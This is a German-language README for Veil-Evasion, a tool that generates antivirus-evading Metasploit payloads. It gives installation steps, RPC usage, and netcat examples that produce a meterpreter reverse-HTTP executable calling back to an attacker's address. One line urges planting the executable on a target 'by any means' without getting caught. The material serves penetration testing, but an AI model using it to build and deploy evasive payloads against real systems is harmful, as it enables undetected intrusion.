
Veil Evasion is no longer supported, use Veil 3.0!
Veil-Evasion ist ein Tool, das dazu entwickelt wurde, Metasploit-Payloads zu generieren, die gängige Antivirenlösungen umgehen.
HINWEIS:
./setup/setup.shsollte bei jedem größeren Versionsupdate erneut ausgeführt werden. Wenn beim Ausführen von Veil-Evasion schwerwiegende Fehler auftreten, versuchen Sie zunächst, dieses Skript erneut auszuführen, um zusätzliche Pakete zu installieren und die gemeinsame Konfigurationsdatei zu aktualisieren.
Veil-Evasion wird derzeit aktiv von @ChrisTruncer, @TheMightyShiv, @HarmJ0y unterstützt.
Dank an:
oder
HINWEIS: Die Installation muss mit Superuser-Rechten durchgeführt werden. Wenn Sie kein Kali Linux verwenden, stellen Sie jedem Befehl
sudovoran oder wechseln Sie vor Beginn zum Root-Benutzer.
Führen Sie setup.sh -c auf Kali x86 aus.
Installieren Sie Python 2.7, Py2Exe, PyCrypto und PyWin32 auf einem Windows-Computer (für Py2Exe).
apt-get -y install git
git clone https://github.com/Veil-Framework/Veil-Evasion.git
cd Veil-Evasion/
cd setup
setup.sh -c
HINWEIS: Dies muss mit Superuser-Rechten durchgeführt werden. Wenn Sie kein Kali Linux verwenden, stellen Sie jedem Befehl
sudovoran oder wechseln Sie vor Beginn zum Root-Benutzer.
Meistens muss die Konfigurationsdatei unter /etc/veil/settings.py nicht neu erstellt werden, aber in einigen Fällen werden Sie möglicherweise dazu aufgefordert. Die Datei wird von config/update.py generiert.
Es ist wichtig, dass Sie sich vor dem Ausführen von update.py im Verzeichnis config/ befinden. Wenn nicht, wird settings.py fehlerhaft sein und beim Start von Veil-Evasion sehen Sie Folgendes.
Main Menu
0 payloads loaded
Keine Panik. Wechseln Sie in das Verzeichnis config/ und führen Sie update.py erneut aus.
Veil-Evasion wurde für den Betrieb unter Kali Linux entwickelt, sollte aber auf jedem System funktionieren, das Python-Skripte ausführen kann. Rufen Sie Veil-Evasion einfach über die Befehlszeile auf und folgen Sie dem Menü, um eine Payload zu generieren. Nach der Erstellung der Payload fragt Veil-Evasion, ob die Payload-Datei mit Pyinstaller oder Py2Exe in eine ausführbare Datei konvertiert werden soll.
Bei Verwendung von Pyinstaller konvertiert Veil-Evasion Ihre Payload innerhalb von Kali in eine ausführbare Datei.
Bei Verwendung von Py2Exe erstellt Veil-Evasion drei Dateien:
Verschieben Sie alle drei Dateien auf Ihren Windows-Rechner mit installiertem Python. Alle drei Dateien sollten im Stammverzeichnis des Verzeichnisses abgelegt werden, in das Python installiert wurde (wahrscheinlich C:\Python27). Führen Sie das Batch-Skript aus, um das Python-Skript in ein ausführbares Format zu konvertieren.
Platzieren Sie die ausführbare Datei mit allen notwendigen Mitteln auf dem Zielrechner und lassen Sie sich nicht erwischen!
Auf der Listener-Seite führen Sie aus:
./Veil-Evasion --rpc
Dadurch wird ein Listener auf Port 4242 gestartet.
Auf der Client-Seite müssen Sie ein Client-Programm ausführen. Dies kann ein benutzerdefiniertes Skript sein oder so einfach wie Netcat. Der RPC-Server implementiert JSON-RPC. Dies ist eine gute Referenz zum Interpretieren von Anfragen und Antworten für JSON-RPC: http://json-rpc.org/wiki/specification
Das RPC-Anfrageformat ist wie folgt:
method="version" - gibt die aktuelle Veil-Evasion-Versionsnummer zurück
method="payloads" - gibt alle derzeit geladenen Payloads zurück
method="payload_options"
params="payload_name" - gibt die Optionen für die angegebene Payload zurück
method="generate"
params=["payload=X",
"outputbase=Y"
"overwrite=Z",
"msfvenom=...",
"LHOST=blah] - generiert die angegebene Payload mit den gegebenen Optionen und gibt den Pfad der generierten ausführbaren Datei zurück
Dies ist ein einfaches Beispiel für die Arbeit mit Veil-Evasion mit Netcat:
root@kali:~# nc 127.0.0.1 4242
{"method":"version","params":[],"id":0}
Und die Serverantwort:
{"id":0,"result":"2.21.4","error":null}
Ein Beispiel für ein Client-Programm finden Sie hier: http://github.com/miligulmohar/python-symmetric-jsonrpc/blob/master/examples/client.py
HINWEIS: Der Port für Veil-Evasion ist 4242. Dieser muss in client.py geändert werden, damit es funktioniert.
Um eine Payload zu generieren, müssen ALLE Parameter angegeben werden:
Dies ist eine gute Referenz, um zu verstehen, ob pwnstaller verwendet wird oder nicht: http://www.verisgroup.com/blog/2014/05/07/pwnstaller-and-the-veil-framework/
Ein Beispiel für die Generierung einer Payload:
root@kali:~# nc 127.0.0.1 4242
{"method":"generate","params":["payload=c/meterpreter/rev_http","outputbase=payloadName","LHOST=192.168.1.11","LPORT=2121","pwnstaller=False"],"id":1"}
Und die Serverantwort:
{"id":8,"result":"/usr/share/veil-output/compiled/payloadName.exe","error":null}
HINWEIS: Wenn in der Anfrage keine ID angegeben ist, fährt Veil-Evasion herunter. Sie können jedoch so viele gültige Anfragen stellen, wie Sie möchten, bis Veil-Evasion herunterfährt.
Um den RPC-Server herunterzufahren, führen Sie aus:
./Veil-Evasion --rpcshutdown